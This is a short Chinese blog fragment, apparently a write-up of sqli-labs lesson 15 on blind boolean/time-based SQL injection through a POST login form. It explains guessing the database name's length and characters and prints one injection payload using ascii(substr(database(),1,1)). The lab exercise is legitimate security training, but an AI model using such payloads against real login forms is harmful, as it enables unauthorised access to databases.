时间：2021-07-01 10:21:17 帮助过：21人阅读
如果数据库名的长度不等于8，登陆会失败
猜测数据库名第一个字符是否为‘s‘，是则登陆成功
1‘ or ascii(substr(database(),1,1))=115#
【sqli-labs】 less15 POST - Blind- Boolian/time Based - Single quotes (基于bool/时间的单引号POST型盲注)
标签：body bubuko 分享图片 pos ima data substr gpo 字符